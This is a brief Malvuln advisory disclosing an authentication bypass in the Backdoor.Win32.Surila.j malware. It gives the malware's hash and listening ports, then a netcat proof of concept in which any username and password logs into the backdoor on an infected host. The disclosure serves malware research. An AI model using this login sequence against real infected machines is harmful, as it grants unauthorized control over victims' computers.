Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Surila.j  
Vulnerability: Authentication Bypass  
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. Third-party attackers who can reach infected systems can logon using any username/password combination.  
Type: PE32  
MD5: b1cec4b806c71c82bbd9002bdaf21d1f  
Vuln ID: MVID-2021-0289  
Dropped files: iexp1orer.exe   
Disclosure: 07/12/2021  
nc64.exe x.x.x.x 13137  
220 Bot Server (Win32)  
USER mal  
331 Password required.  
PASS vuln  
230 Login successful. Have fun.  
215 UNIX Type: L8  
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